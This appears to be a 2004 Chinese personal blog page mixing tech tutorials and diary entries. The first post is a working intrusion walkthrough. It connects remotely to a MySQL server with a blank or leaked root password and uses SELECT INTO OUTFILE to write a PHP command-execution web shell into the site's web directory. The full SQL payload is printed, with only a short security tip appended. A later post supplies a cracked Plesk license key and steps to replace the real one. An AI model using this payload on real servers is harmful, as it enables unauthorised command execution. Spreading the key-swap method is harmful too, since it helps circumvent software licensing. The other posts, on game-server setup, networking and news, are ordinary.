[ 2004/12/10 00:45 | by 网络毛毛虫 ]
许多NT和win2000机器上面装有mysql和php。而mysql默认数据库root账号为空,这就给入侵者一个途径来入侵该机器。如果修改了数据库root的账号密码,而IIS的一些其他漏洞导致源代码泄漏也可能看到数据库的账号和密码。假设我们已经拿到了数据库的密码,看看我们如何通过mysql数据库来获得该机器的一定权限。
首先通常情况下,一般mysql和php配合使用,大多数NT和win2000的机器上如果使用php一般都会使用mysql。而默认情况下windows上的mysql是允许远程连接的。而装在linux等上的mysql是不允许远程连接的。入侵的思路是写一个shell脚本到web目录。就可以通过这个shell教本来执行命令了。而一般情况下,windows的web服务器是IIS,默认也是支持asp脚本的。网上也随处可见asp的sehll脚本,只要将这个asp的脚本传到web目录就好了。但是我觉得那些脚本都比较麻烦。而如果目标机器上面有php的话就可以用php脚本了。在这里我用php脚本来写shell。首先我们要用mysql的客户端连结到该机器,并执行我们的sql语句来在web目录生成php的shell脚本。
C:\mysql\bin>mysql -h xxx.xxx.xxx.xxx -uroot <php.sql

C:\mysql\bin>

下面是php.sql的内容:
use test;
create table tmp(cmd TEXT);
insert into tmp values('<body onload=document.form1.cmd.focus()><?if (isset($cmd)){$cmd=stripslashes($cmd);exec(\"$cmd > temp.dat\");}?><style type=\"text/css\"><!\-\- .form1 {BACKGROUND: #FFFFFF; BORDER-BOTTOM: #666666 1px solid; BORDER-LEFT: #666666 1px solid; BORDER-RIGHT: #666666 1px solid; BORDER-TOP: #666666 1px solid; COLOR: #3c464f; FONT-SIZE: 9pt; clip: rect( ); cursor: text; height: auto; width: auto; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px\-\-></style><p class=\"title2\">&nbsp;</p><form name=\"form1\" method=\\"post\" action=\"/cmd2.php\"> <input type=\"text\" name=\"cmd\" size=\"50\" class=\"form1\"></form><form name=\"form2\" method=\"post\" action=\"\"> <p> <textarea name=\"text\" cols=\"120\" rows=\"50\" class=\"form1\"><?if(isset($cmd)){readfile(\"temp.dat\");unlink(\"temp.dat\");}?></textarea> </p></form></body>');
select * from tmp into outfile 'd:\\new\\cmd2.php';
drop table tmp;

上面的sql语句是创建一个名字为tmp的table,将脚本输入到数据库,然后再将这个脚本保存成d:\new\cmd2.php。然后删除tmp这个我们创建的table。这里的d:\new的目录是该机器的web目录。然后我们就可以在浏览器中输入http://xxx.xxx.xxx.xxx/cmd2.php,就可以利用这个shell执行命令了。至此我们已经获得了该网站的一个guest权限的shell了。我们可以通过这个shell脚本写个ftp脚本来上传文件,也可以利用这个shell来进行其他guest权限能够执行的一些东东了。这里需要注意的是如果cmd2.php已经存在了这个sql脚本是不能运行成功的。这个php脚本不能写成功。
关键的问题在于获得数据库的密码并且能够找到web目录。然后一切都不成问题了。
安全建议:设置mysql数据库的密码,并且要有一定的强度。设置好IIS避免泄漏源代码,不要直接在web目录编辑脚本等文件,因为有些编辑器会自动产生一个备份文件,一般为.bak的扩展名,这样恶意攻击者就可能直接打开这个.bak文件从而泄漏源代码,比如global.asa.bak。
[ 2004/12/09 21:05 | by 网络毛毛虫 ]

精英外网调试好了。现在可以在外网访问了。

我们调整了路由,现在好多了。。不想昨天那样情况了。

昨天晚上,我、大D、JJ、袁轶搞到半夜,终于OK了。

http://www.elites.cn

[ 2004/12/08 23:56 | by 网络毛毛虫 ]

今天晚上搞了一个晚上,后来还是出了问题。还是ADSL和内网,两个设置的问题。。

2003陆游也问题多。外网能访问,内网就不能。

郁闷中啊 

[ 2004/12/08 23:54 | by 网络毛毛虫 ]
首先.要有一个服务器(没有?去下载一个吧)网上找有很多,在这我强烈推荐用梦之奇迹1.05版本或更高以上.然后还要SQL数据库.没话说...下载去.最后..还要去找个网站系统的东东..就可以了...

建议用2000系统,我的是 赛扬4 2G CPU  DDR256M内存...40G硬盘...

那么,现在开始了.
1.  把你下载下来的SF服务器解压安装了吧.

2.  接下来安装SQL2000.太简单了嘛...(只是下载的时候想哭而已)安装时注意有一项关于SA的密码设置.
在这里填上你想用的密码.(一定不要用空密码)
装好后,启动SQL.在数据库那新建数据库MuOnline和Ranking.之后在你SF服务器目录内建一个空的文件夹DB.回到SQL刚才建好的那两个数据库那,还原数据库.

建立ODBC:如果你用的是梦之奇迹的服务器端的话.这里不用做了,因为安装包内已经有了个做好了的ODBC注册表,双击他就OK了,之所以我推荐用梦之奇迹就是这个原因了,省了不少麻烦.
如果你用的是其他版本的也不用愁,下面我教你怎么做:
ODBC全部用NT验证
建立 数据源GAMEDB_INFO_END / MUMNGDB_INFO_START / LOGINDB_INFO_START / ACCOUNTDB_INFO_START / USELOGDB_INFO_START / MuOnline / MuOnlineJoinDB / Event / USELOG / Munonline ExDB
全系统认证导入MuOnline数据库
数据源 DEVILSQURE_RANKING 系统认证导入Ranking数据库

3.  再接下来就是改IP了.查你SF服务器目录里,有一个字符替换器,用它来把你整个SF服务器目录的IP改成你的内网IP.还有把快捷方式的执行文件4和8->属性->把里面的IP也改成你的内网IP.

大公告成了,启动完8个程序,试试你的内网能上了没有?
能上了吧?哈哈!

这里仅仅是内网而已,外网呢?再看下面吧.

一般,如果你的SF服务器的机器是直接连接外网的主机的话,更简单不过了.直接将CS文件夹下的DAT文件的IP改成你外网的IP或域名.SF服务器目录下的DATA文件夹的IpList.DAT也改成外网IP或域名.最后把要启动的那8个程序的快捷方式的第4和第8->属性->把里面的IP换成你的外网IP或域名.再启动完那8个程序.哈哈.大公告成了吧.这时内外网都能进了.

什么?你的SF服务器不是外网主机?晕啊.早说啊,害我浪费那么多笔墨.再看下面:
比如你的情况是[网吧,你想用网吧的分机把SF做出外网]
这个简单...看我的:
首先,确保你内网没有问题,接下来,只要把SF服务器目录下的DATA文件夹的IpList.DAT也改成外网IP或域名.第4和第8不用改,还是你的内网IP.
接下来要做的是,上网去下载一个端口映射器portmap1.6,你要用别的也行.不过我觉得portmap1.6比较傻瓜点,虽然网上很多人对他的评价不是很好.但是.(重点来了)好不好不关我的事..我只负责教你会做外网,哈...下载portmap1.6后,启动他来做端口映射.(什么?你不会?)晕.我都说portmap1.6很傻瓜的了,没想到你比他还傻瓜.

在外网主机上启动.
->增加->名称随便->输入IP(外网主机IP)->端口44405->输出IP(内网SF主机IP)->端口44405
->增加->名称随便->输入IP(外网主机IP)->端口55901->输出IP(内网SF主机IP)->端口55901
->增加->名称随便->输入IP(外网主机IP)->端口80->输出IP(内网SF主机IP)->端口80 (网站的端口)
增加以上三个. 同时连接数最大数目,你爱选多少就多少.

OK了,可以上了吧?
什么?还没能上?晕.你唬我啊?怎么可能?
如果还没能上,再看下面吧.

做到以上那一步已经是成功的了,如果那样子还没能上的话,我想,大概是你机器装有防火墙软件之类的吧?
有些网吧是用sygate来带的.SYGATE代理服务器软件4.0以上版本都集成了防火墙,而且安装后就是自动打开的.所以会导致你外网不能连接你的游戏服务器.包括你的网站.一进入就连接中断.具体做法.你可以把sygate换成sygate office4.0版本.这个版本可以关闭防火墙.仅仅关掉了还不行,还得要修改CS,把CS下的serverlist.dat,connectserverlist.dat里的55901为82,启动快捷方式8的启动参数最后的55901也改为82.再用映射器映射SF主机.OK....(改了端口后客户端也要把44405改81)

还有一个方法,干脆就不用sygate.哈哈.
最后给所有想建私服但老是外网失败的朋友一句话:如果按以上的方法外网还连不进来的话,想想你的外网主机,是不是设了防火墙之类的软件没有?也许外网连不进是被防火墙挡截了.凡事多想想,多摸索.碰到问题想都不想就拿去问别人,那样永远是没有进步的.
我弄这个外网弄了我差不多两个月,没一晚能睡好的.因为开始疏忽了SYGATE有防火墙的问题.所以导致服务器始终不能上外网.希望这篇帖子对大家有帮助

_____________________________________________________________

adsl主机+花生壳+内网机架一服2线的详细得不能再详细的方法!

设有2台电脑,a机双网卡,第1个网卡通过adsl连接外网,ip设自动,另个网卡ip设192.168.0.1,连接内网,用花生壳做动态域名,装好sql+muserver服务器端。b机就简单的装个win2000专业版或winxp均可,单网卡,ip设为192.168.0.2

首先要保证你的a机能单独运行服务器没问题,a机和b机已经连上(互ping一下对方的ip地址要能通)

来看a机的设置:(我的动态域名是wdfmu.vicp.net,请大家换成自己的就可以了)

d:\muserver\cs\data\serverlist.dat
0 "mu1-1" "wdfmu.vicp.net" 55901 "show"
1 "mu1-2" "wdfmu.vicp.net" 55902 "show"

d:\muserver\data\serverinfo.dat
[gameserverinfo]
servername       = mu
servercode       = 0
connectmemberload  = 0;

d:\muserver\data\iplist.dat
"127.0.0.1"

数据源和sql都没有什么特殊要求。

重点在b机(不需要装sql server),看好了:

首先要把b机的nt登录名和密码设置的和a机一样(不然以后数据源设置可能有问题),然后设置数据源,建立名为muonline,muonlinejoindb,event,uselog,devilsqure_ranking的5个数据源,服务器那里填192.168.0.1,前4个数据源用nt验证,最后面1个用sql身份验证,用户名和密码用d:\muserver\rankingserver\svconfig.ini文件里的就可以了,如果没问题的话,就开始设置mu服务器了。

b机的mu服务器只需要运行dataserver,joinserver,mu2003eventserver,rankingserver和gameserver这5个就行了,改动的地方有:

d:\muserver\data\serverinfo.dat
[gameserverinfo]
servername       = mu
servercode       = 1
connectmemberload  = 0;
;注意文件里第3行的数字是1

d:\muserver\data\iplist.dat
"wdfmu.vicp.net"

还要改启动joinserver的批处理文件为:
d:
cd \muserver\joinserver
@start joinserver.exe /p55970 /cawdfmu.vicp.net /cp55557

还要改启动gameserver的批处理文件为:
d:
cd \muserver\gameserver
@start d:\muserver\gameserver\gameserver.exe wdfmu.vicp.net 55970 wdfmu.vicp.net 55960 55902
;注意最后面的是55902

依次启动dataserver,joinserver,mu2003eventserver,rankingserver和gameserver!

最后1步,在a机用portmap端口映射软件,填加新的映射组,设置为:输入ip为任意,输出ip为192.168.0.2,输入端口为55902,输出端口为55902,启动映射,绿灯亮了,ok,大功告成!看看a机的cs里面是不是有2个服务器了。:)

这个是我看了以前一些类似的帖子,但都没有说的很详细,所以自己又摸索了n久才弄出来的,可能我比较愚钝,写的方法多了很多不必要的步骤,太繁琐!但是我这样做确实成功了,还没成功的玩家看了以后如果成功了,我的目的就达到了,希望高手不要笑话我。

[ 2004/12/08 23:51 | by 网络毛毛虫 ]
由于宿舍里机器比较多,原来都主要通过校园网上Internet,但是往往人一多就感觉网速比较慢,而且一台机器一个账号的限制又让人感觉很不方便。恰好我们所处的宿舍安装了外线电话,于是接上ADSL也成了很自然的事情。为了方便又省钱地在每一台机器都能同时用上ADSL和校园网,着实花费了笔者一番心思。一番心得不敢独享,在这里写出来与有需求的读者共同分享。

  一般来说,一个宿舍有足够的校园网IP地址,不过网络接口则只有一个,我们主要通过一个五口的交换机组成一个内部的局域网,交换机的UPLINK口接到校园网接口上。


  我们在安装ADSL后自然就打破这原有的局域网结构了,最初打算通过一台机器直接作为服务器进行ADSL代理上网。但最终发现作为服务器的那台机器可以同时上校网和ADSL,但其他机器则只能连上一个网段,要么IP地址设成校园网网段,要么就是设成连接到ADSL的网段。



  从这方面看来宿舍内部校园网与ADSL双网合一主要就是IP地址转换的问题了。想上校网,各台机器连交换机的网卡IP地址都要设成校园网的IP地址;想上ADSL,那么就把连交换机的网卡IP地址设成内部局域网的地址。

  本来以为WINXP里不同用户登录同一块网卡可以设成不同的IP地址,但实践的结果是行不通。所以直接就想到一个笨方法,我们的机器本来就是WIN98和WINXP共存的,这样可以在WIN98下把网卡设成是校园网的IP地址,在WINXP下面则把网卡设成是ADSL的内部局域网的地址。不过,实际用起来太麻烦了。每当需要更换网络连接方式的时候,都要重启一下切换操作系统,实在是有点烦。


  最终,在网络上找到了转换IP地址的工具,一是国产的免费东东“IP change轻松换”,另一个是共享软件“IP changer2.0”。相比而言,笔者主要推荐前者,主要原因当然是后者仅有一个月的试用器。当然“IP change”轻松换常驻系统托盘,对资源还是有那么一点点的占用的。

  后来,笔者在一个偶然的机会,发现了WINXP中的netsh命令,该命令具有IP地址转换而无需重启计算机的功能,首先设定校园网的网络配置,然后在命令行方式下运行“netsh –c interface dump>e:\xw.txt”,就会在E盘根目录下生成一个xw.txt的文本文件,该文件保存着校网网卡的TCP/IP配置。同理,设定好ADSL局域网网络配置后,在命令行方式下运行“netsh –c interface dump>e:\adsl.txt”,也就保存好了ADSL的网络配置。以后要进入校网的网络配置,只要直接在命令行方式下运行“netsh –f e:\xw.txt”命令即可,而进行ADSL网络配置也只要运行“netsh –f e:\adsl.txt”命令就可以了。相当方便。


  在实际使用中我们还发现虽然服务器可以直接同时连接校园网和ADSL,但可能是由于DNS解析的原因,同时挂双网的情况下其中一个网络的运行速度较慢。因此作ADSL代理的服务器也同样只上校园或者上ADSL。

     
  小提示:如果用记事本制作一个批处理文件,命名为xw.bat,内容为:netsh -f c:\xw.txt;制作另一个批处理文件adsl.bat,输入内容:netsh -f c:\adsl.txt。将刚才上边导出的文本文件放到c盘根目录下,将这两个批处理文件放到桌面上,以后只要双击相应的批处理文件,有关的网络配置就会修改。只要掌握了上面的方法,就再也不用为切换IP地址而烦恼了!
 

  这样根据以上的内容,我们就可以延伸出ADSL和校园网双网合一的三种不同网络架构:

  1.服务器和客户机模式:

  主要的优点是节省成本,客户机只要一块网卡;而缺点也是显而易见的,那就是必须有一台机器作服务器。这也是我们所采用的方法,但架设成本低,只要在连接ADSL的机器上加一块网卡即可,结构简单。有点麻烦的是需要利用netsh命令转换IP配置。

   2.双网卡模式:

  优点是每一台机器各自连接ADSL网和校园网,与其他机器无关;缺点是成本相对较高,不仅是每台机器都需要双网卡,而且如果ADSL猫没有路由功能的话需要增加一个路由器。而且如果使用带有路由功能的adsl猫的话还需要再加一台交换机,形成内部的双局域网结构。这种情况使用较为方便,但同一机器同时上校园网和ADSL时可能会受DNS解析的影响而网络速度变慢。 

  3.双网路由方式:

  优点是设置最为便利,只要保持原有的局域网结构即可;但缺点是成本较高,需要配置一台具有双网路由功能的路由器,该路由器必须同时拥有以太网口和广域网接口。这一方式由于条件所限,笔者没有实验加以证实,有条件的读者不妨一试。

新浪科技讯 消息称联想可能于明日(12月8日)正式公布收购IBM全球PC业务。12月8日,联想将举办一个成立20周年的庆祝活动,分析人士认为,联想可能选择在活动上正式宣布这一消息。

  根据介绍,联想此次收购的范围为IBM全部PC业务,包括笔记本电脑和台式PC。在此前,有业内人士猜测笔记本业务不在出售之列。

  根据两家公司的业务估算,联想全年收入约为30亿美金左右,IBM全球PC业务收入约为90亿美金左右。一旦收购完成,联想全年业务收入将达到120亿美金。这不仅使联想成为在全球PC业务中排名第三,也将成为首个进入世界500强的中国民营企业。

  目前,联想IBM全球PC业务的报价仍未正式公布,此前报道猜测,这一出价为15亿美金左右。

  收购完成之后,业内人士也开始关注,联想高层是否有变动?有分析人士指出,借助收购一事,联想CEO杨元庆将可能全面接班,而老帅柳传志则将彻底退隐幕后。联想也将迎来一个全新的杨元庆时代。(文/徐志斌)

   SINA专题:联想拟购IBM部分PC业务

[ 2004/12/07 16:30 | by 网络毛毛虫 ]

这几天老婆爱学习呢,我打电话还在看英语,我满高兴的。老婆身体还是没有好,我好担心啊。但愿不要出什么事情。妈妈和小姨居然给三买了香水,我真的感觉意外。。看来我妈实在是很喜欢她啊。我好想她啊。宝宝,我爱你^_^

精英出口的事情还是没有搞好,我还以为电信今天会来搞呢。结果还是没有搞,我晕哟。。

出口没有好,现在已经让校内的人使用WW.ELITES.CN访问了。把WWW.ELITES.CN空出来为外网通后提供校外入口。。。昨天添加了个入口页面,大概也就http://tel2.elites.cn 这个样子。我喜欢清爽的,大D说他也喜欢。

周五他们说要在科艺苑搞个精英的活动,不知道能不能成形。。出嫁他们几个也在准备拍摄一部DV。现在已经进入准备日期了。

[ 2004/12/07 13:56 | by 网络毛毛虫 ]

BO官方提供了最近的升级补丁。发布两天官方没有什么问题了,我也升级了。。

升级到版本1204  不过BO的问题还是非常的多。

Windows 2003平台下Apache2.0.49+PHP4.3.6+MySQL4.0.18+PhpMyadmin2.5.6+JK2.0.4+J2S
DK1.4.2_4+Tomcat5.0.19完全整合方法
flyfox

首先从internet上下载以上所有软件包
以下是下载地址:
Apache http://httpd.apache.org/

PHP:http://www.php.net/

MySQL:http://dev.mysql.com/downloads/

PhpMyadmin:http://sourceforge.net/projects/phpmyadmin/

J2SDK:http://java.sun.com/j2ee/download.html

Tomcat:http://apache.linuxforum.net/dist/jakarta/tomcat-5/

JK2:http://apache.linuxforum.net/dis ... ctors/jk2/binaries/

注意以上软件包,如果有的选择的应该选用windows平台下的。

安装和配置步骤:
1. 先装Apache,按缺省安装即可(假设安装到D:\Aache2),测试方法在浏览器中输入
2. 解开PHP zip包至D:\PHP,然后将该目录下的php.ini-dist 拷贝到系统%WINDOWS%(一般是C:\windows)目录,然后改名为php.ini,编辑该文件,搜索"doc_root",将该行改成: doc_root = "d:\webroot" ; 搜索"extension_dir"将该行改成:
   extension_dir = "d:\php" (假设PHP安装目录为D:\PHP,假设web文档放在D:\webroot)
   将D:\PHP下的php4ts.dll和D:\php\sapi\下的php4apache2.dll拷贝到系统%SYSTEMROOT%\System32目录下
  (一般是C:\windows\system32),为了保险起见,可以将D:\php\sapi\和D:\php\dlls\
目录下的所有文件都拷贝到%SYSTEMROOT%\System32目录下。
3. 编辑设置D:\Apache2\conf\httpd.conf文件(编辑前关掉Apache服务),加入以下几行:
   ###Add surport to PHP script document
   LoadModule php4_module D:/php/sapi/php4apache2.dll
   AddType application/x-httpd-php .php .php3
  找到AddDefaultCharset ISO-8859-1这行,在前面加个#号注释掉。然后在下边添加
  AddDefaultCharset GB2312
  DefaultLanguage GB2312
  AddLanguage zh-cn .cn
  这是设置APACHE2对中文支持。
4. 安装MySQL,按缺省安装即可,假设安装在D:\MySQL下,运行D:\mysql\bin\winmysqlad
min.exe,会在系统 %WINDOWS%目录下生成my.ini,检查C:\windows目录下是否存在该文件,如果不存在创建并编辑成如下样子:
   
   #This File was made using the WinMySQLAdmin 1.4 Tool
   #2003-12-15 17:53:46
   #Uncomment or Add only the keys that you know how works.
   #Read the MySQL Manual for instructions
   [mysqld]
   basedir=D:/mysql
   #bind-address=10.10.10.10
   datadir=D:/mysql/data
   #language=D:/mysql/share/your language directory
   #slow query log#=
   #tmpdir#=
   #port=3306
   #set-variable=key_buffer=16M
   [WinMySQLAdmin]
   Server=D:/mysql/bin/mysqld-nt.exe
5.  解压缩PhpMyadmin软件包至D:/webroot/phpmyadmin,编辑D:\Apache2\conf\httpd.conf文件(编辑前关掉Apache服务),
    在文件最后加上几行:
    NameVirtualHost 127.0.0.1
   
     DocumentRoot "d:/webroot/phpMyAdmin"
   
     Options ExecCGI
     Order allow,deny
     Allow from All
   
   DirectoryIndex index.php index.php3 index.htm index.html
   
6. 重新开启Apache服务,现在在浏览器输入http://127.0.0.1,此时应该进入了PhpMyadmin管理界面,选择Language为
   Chinese Simplified (zh),点击进入“权限”设置,将用户“任意,%,否,ALL
PRIVILEGES ”用户删除,给两个root用户设置密码。
7. 然后编辑D:\Webroot\phpMyAdmin\config.inc.php,搜索"$cfg['PmaAbsoluteUri']",
将其修改成: $cfg['PmaAbsoluteUri'] = 'http://127.0.0.1;
   搜索“$cfg['Servers'][$i]['auth_type']     = 'config';”,将其修改成:
   $cfg['Servers'][$i]['auth_type']     = 'http';
8. 重新在浏览器输入http://127.0.0.1,此时应该进入了PhpMyadmin登录界面,要求提供用户名和密码,输入root,密码为刚才你修改的。至此Windows 2003平台下Apache2.0.49+PHP4.3.6+MySQL4.0.18+PhpMyadmin2.5.6的整合已经完成了。
9. 安装J2SDK1.4.2_04,可以不用安装demo和sourece,假设安装至C:\j2sdk1.4.2_04。然
后配置环境变量:在我的电脑上点击鼠标
   右键-属性-点选高级-点选环境变量,弹出环境变量对话框,新建以下变量名和值:
   变量名:path
   变量值:.;C:\j2sdk1.4.2_04\bin; C:\j2sdk1.4.2_04
   变量名:JAVA_HOME
   变量值:C:\j2sdk1.4.2_04
   变量名:CLASSPATH
   变量值: .;C:\j2sdk1.4.2_04\lib\tools.jar;C:\j2sdk1.4.2_04\lib\dt.jar;C:\j2sdk1.4.2_04\jre\lib\ext
   重新启动计算机使配置的环境变量生效
10.安装Tomcat,按缺省值安装,假设安装至D:\Tomcat,安装要求设置用户名和密码,自己设置。
   启动TOMCAT服务,在浏览器输入http://127.0.0.1:8080
应该能看到Tomcat的欢迎界面,表示安装成功,
   运行各种Examples,检查其对JSP和Servlet等的支持,虽然TOMCAT有内置的HTTP服务,
但是它仅仅对JSP程序体现出比较好的执行效率和性能,对于静态页面的处理速度远不如APACHE,所以为了一个完美的WEB系统,我们要将APACHE和TOMCAT集成在一起!
  (下面就是集成他们的具体配置步骤,请注意仔细认真,比较繁琐)。
11. 将下载的jakarta-tomcat-connectors-jk2.0.4-win32-apache2.0.49.zip解包,将其中modules目录下的mod_jk2.so拷贝至
   D:\Apache2\modules\下,然后编辑D:\Apache2\conf\httpd.conf文件(编辑前关掉Apache服务),加入以下几行:
  ### Add surport to jsp with the jk2 mod connector to tomcat
  LoadModule jk2_module modules/mod_jk2.so
12. 现在假设我们要发布的web文件要放在D:\webroot下,不同的虚拟站点用不同的目录,总站点: http://www.example.com 对应IP 10.10.10.10 对应目录D:\webroot\WWW
    总站点别名:10.10.10.10 对应IP 10.10.10.10 对应目录D:\webroot\WWW
    IT部门: surport.example.com对应IP 10.10.10.10 对应目录D:\webroot\surport
    PhpMyadmin:对应IP 127.0.0.1对应目录D:\webroot\phpmyadmin
13.设置jk2的tomcat方配置,编辑D:\Tomcat\conf\jk2.properties文件(编辑前关掉Tomcat服务),使其如下:
   ## THIS FILE MAY BE OVERRIDEN AT RUNTIME. MAKE SURE TOMCAT IS STOPED
   ## WHEN YOU EDIT THE FILE.
   ## COMMENTS WILL BE _LOST_
   ## DOCUMENTATION OF THE FORMAT IN JkMain javadoc.
   # Set the desired handler list
   handler.list=apr,request,channelJni
   #
   # Override the default port for the socketChannel
   channelSocket.port=8019
   # Default:
   channelUnix.file=${jkHome}/work/jk2.socket
   # Just to check if the the config  is working
   shm.file=${jkHome}/work/jk2.shm
   # In order to enable jni use any channelJni directive
   channelJni.disabled = 0
   # And one of the following directives:
   apr.jniModeSo=d:/apache2/modules/mod_jk2.so
   # If set to inprocess the mod_jk2 will Register natives itself
   # This will enable the starting of the Tomcat from mod_jk2
   apr.jniModeSo=inprocess
14.设置jk2的Apache方配置,在D:\Apache2\conf目录下创建workers2.properties并编辑
如下:
   [shm]
   file=${serverRoot}/logs/shm.file
   size=1048576
   # Example socket channel, override port and host.
   [channel.socket:localhost:8009]
   port=8009
   host=127.0.0.1
   # define the worker
   [ajp13:localhost:8019]
   channel=channel.socket:localhost:8009
   # Uri mapping
   [uri:www.example.com/*.jsp]
   worker=ajp13:localhost:8009
   [uri:surport.example.com/*.jsp]
   worker=ajp13:localhost:8009
   [uri:10.10.10.10/*.jsp]
   worker=ajp13:localhost:8009
   [uri:127.0.0.1/*.jsp]
   worker=ajp13:localhost:8009
15.设置Tomcat的虚拟站点,编辑D:\Tomcat\conf\server.xml(编辑前关掉Tomcat服务),
   搜索
   修改成
   搜索<Host name="localhost" debug="0" appBase="webapps"
   在这行上面加入以下几行:
        
        
        
   
        
        
        
   
        
        
        
   
16.配置Apache的虚拟站点,编辑D:\Apache2\conf\httpd.conf文件(编辑前关掉Apache服务)
  在文件最后加上:
  NameVirtualHost 10.10.10.10
  
     DocumentRoot "/webroot/www"
     ServerName http://www.example.com  
  
    Options ExecCGI
    Order allow,deny
    Allow from All
   
  DirectoryIndex index.jsp index.php index.php3 index.htm index.html
  

  
     DocumentRoot "/webroot/www"
     ServerName 10.10.10.10  
  
    Options ExecCGI
    Order allow,deny
    Allow from All
   
  DirectoryIndex index.jsp index.php index.php3 index.htm index.html
  

  
     DocumentRoot "/webroot/surport"
     ServerName surport.example.com  
  
    Options ExecCGI
    Order allow,deny
    Allow from All
   
  DirectoryIndex index.jsp index.php index.php3 index.htm index.html
  
17.重新启动tomcat和apache服务测试配置。在D:\webroot\www和D:\webroot\surport下放
一个test.php和一个test.jsp
   其中test.php内容如下:
   
   test.jsp内容如下:
   
   测试过程如下:在浏览器中输入http://127.0.0.1应该进入phpmyadmin的登录界面
输入http://127.0.0.1:8080应该进入Tomcat欢迎界面

输入http://www.example.com/test.php应该显示php环境信息
输入http://www.example.com/test.jsp应该显示“4”

输入http://10.10.10.10/test.php应该显示php环境信息

输入http://10.10.10.10/test.jsp应该显示“4”

输入http://surport.example.com/test.php应该显示php环境信息

输入http://surport.example.com/test.jsp应该显示“4”


18.如果以上测试均成功的话,现在请删掉test.php和test.jsp,在要发布的目录里放上您要发布的文件。

plesk for linux最新破解版下载安装(v7.0.3)

Plesk简单说明:
国外一款商业虚拟主机管理软件(控制面板),与cPanel和Ensim并称为最常见的三款虚拟主机管理软件。
与cpanel一样,分为管理员,代理商和最终客户三个级别进行管理(也有人说它是5级)

主程序下载:(请根据你的linux版本选择下载)
http://www.sw-soft.com/en/download/plesk/plesk7/

补丁下载:(请根据你的linux版本选择下载)
http://www.sw-soft.com/en/download/plesk/utilities/

语言包和附加功能模块下载:(请根据你的linux版本选择下载)
http://www.sw-soft.com/en/download/plesk/utilities/

破解补丁下载:

up/1102173745.rar

破解方法:
以次安装官方网站所下载的plesk程序(安装方法请看官方网站文档,在下载链接旁边即是安装说明),完毕后请在你的linux服务器上搜索psa.key的位置(命令:find / -name psa.key 事实上我知道它的位置,不过你还是搜索一下吧 )

找到这个psa.key后,用我提供的这个新的psa.key把老的给替换掉,重启plesk。

ok,你现在拥有了破解版的plesk啦。。。。

不过,还是英文版的
虚拟主机管理软件plesk的汉化方法

其实plesk并不需要汉化的,因为官方站点有中文语言包下载。应该叫着换skin吧。
plesk能否换肤,以及能换几种语言的肤是由key来决定的。它的key文件名叫着psa.key,决定着plesk的所有功能的能用与否。

只不过,0day里流传出来的plesk的key只支持一种语言,是英文,也即你不能换成其它语言界面,只能用英文。如果你想多支持一种语言,也可以,只需99美元即可

所以,我们所要解决的即是怎么把这个缺省的英文换成我们可爱的中文。

前提:安装好plesk,并安装中文语言包。

方法1:

当你缺省安装好plesk(和中文包)的时候,先在控制面板的语言选择栏里选择chinese(具体位置稍微找一下即可),然后把我提供的破解的psa.key(在本文最后的链接里有)覆盖安装后缺省的psa.key,接着重起plesk(怎么重起?只当我没说,你也不用往下看了),看一看是不是变成中文了?

不得不说,此方法有时候并不灵验,反正不复杂,你就试试吧

方法2:

不同于方法1,此方法百发百中(小李飞刀的说)
思路:即然缺省是英文的,如果我们能够找到涉及到英文和中文的所有文件,并把英文的所有文件都换成中文的,岂不就能实现曲线就国?

ok,说干就干。

首先就是要找到英文和中文都涉及哪些文件。两者所涉及的文件应该是类似的,所以我们只找中文的。怎么找呢? 官方下载的中文语言包事实上是一个类似于WN下面的批处理的文件,在unix下叫着脚本文件:psa_locale_v1.0_build031119.17_cn.sh,既然安装语言包只需要这一个文件,那么所有的秘密就只在这一个文件里。我们用ultraedit来打开它,往下拉呀拉拉呀拉。。。直至看到这一句:begin 644 psa_locale_cn.tar。。。。OK,从这一句开始(包括这一句)直到最后,全部复制下来放到一个新文件里,取名叫abc.uue 如果你装了winrar,那么就可以双击打开abc.uue,打开之后你看到了什么?里面躺着一个psa_locale_cn.tar,一样可以用winrar来打开它,再把它给解开,就得到了一个完整的中文语言的所有目录和文件。。。。我靠,真复杂呀,好累,中场休息一下。。。。


接着来,从解开的目录解构里可以看出,我们需要动手脚的东西应该在两个目录里,第一个是/usr/local/psa/admin/plib/locale,我们在服务器上找到这个目录,可以看到共有4个文件,分别是英文和中文的,把两个英文的文件备份,然后把中文语言包用到的那两个文件的名字改成英文的那两上。第二个是/usr/local/psa/admin/htdocs/locale/cn,里面基本上是一些中文帮助,我们来到服务器的/usr/local/psa/admin/htdocs/locale/目录,看到有cn和en两个目录,OK,把en目录备份一下,然后把cn改成en...

好啦,重起plesk吧(重起之前请确信服务器上的psa.key已经换成破解的了),enjoy it...

 
分页: 38/47 第一页 上页 33 34 35 36 37 38 39 40 41 42 下页 最后页 [ 显示模式: 摘要 | 列表